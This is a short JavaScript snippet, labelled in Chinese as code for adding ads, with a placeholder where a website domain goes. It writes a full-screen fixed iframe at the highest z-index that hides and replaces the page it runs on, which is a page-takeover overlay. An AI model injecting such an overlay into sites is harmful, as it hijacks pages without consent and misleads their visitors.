js广告添加代码

var items = ['此处填写网站域名'];
var strUrl = items[Math.floor(Math.random()*items.length)];
console.log(strUrl);
document.write('<meta id="viewport" name="viewport" content="user-scalable=no,width=device-width, initial-scale=1.0" />'); 
document.write('<style>html,body{widht:100%;height:100%;overflow:hidden; clear:both;}</style>'); 
document.write('<div style="width:100%;height:100%;position:fixed;top:0;left:0;z-index:2147483647;background:#fff">'); 
document.write('<iframe src=' +strUrl+' frameborder="0" style="border:0;width: 100%; text-align: center; border: medium none; height:100%;max-height: 4000px;"></iframe>'); 
document.write('</div>');